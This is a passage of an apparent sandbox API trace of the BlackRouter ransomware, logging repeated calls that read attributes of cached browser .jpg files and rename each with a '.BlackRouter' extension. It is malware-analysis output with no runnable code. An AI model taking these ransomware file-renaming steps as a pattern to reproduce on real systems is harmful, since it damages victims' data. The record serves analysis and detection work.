MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg.blackrouter")) returned 1 [0068.499] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x82a [0068.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53278d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53278d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf571b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0068.504] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg.blackrouter")) returned 1 [0068.505] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x161e [0068.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b8c150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b8c150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf597c70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1620)) returned 1 [0068.515] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg.blackrouter")) returned 1 [0068.517] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5685 [0068.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a1fd500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a1fd500, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf5bddd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5690)) returned 1 [0068.525] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg.blackrouter")) returned 1 [0068.527] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2f6b [0068.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f7f1f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f7f1f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf5bddd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2f70)) returned 1 [0068.536] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg.blackrouter")) returned 1 [0068.537] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x264b [0068.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e4e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e4e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf5e3f30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2650)) returned 1 [0068.549] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg.blackrouter")) returned 1 [0068.550] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3e08 [0068.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e275160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e275160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf60a090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3e10)) returned 1 [0068.554] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg.blackrouter")) returned 1 [0068.555] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa1f [0068.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f32f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f32f30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf60a090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa20)) returned 1 [0068.562] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg.blackrouter")) returned 1 [0068.563] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x82d [0068.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf6301f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0068.571] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg.blackrouter")) returned 1 [0068.572] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x16f5 [0068.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x612a8ee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x612a8ee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf656350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1700)) returned 1 [0068.584] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg.blackrouter")) returned 1 [0068.585] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xc20 [0068.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53017770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53017770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf656350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc30)) returned 1 [0068.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg.blackrouter")) returned 1 [0068.594] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x86e [0068.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x514ddbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x514ddbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf656350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0068.598] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg.blackrouter")) returned 1 [0068.598] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x86e [0068.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5392ab50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5392ab50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf67c4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0068.601] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg.blackrouter")) returned 1 [0068.602] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x89a [0068.605] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fa5350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fa5350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf67c4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8a0)) returned 1 [0068.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg.blackrouter")) returned 1 [0068.606] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7bb [0068.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f0cdd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f0cdd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf67c4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0068.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg.blackrouter")) returned 1 [0068.610] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9ab [0068.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf67c4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9b0)) returned 1 [0068.613] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg.blackrouter")) returned 1 [0068.615] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: 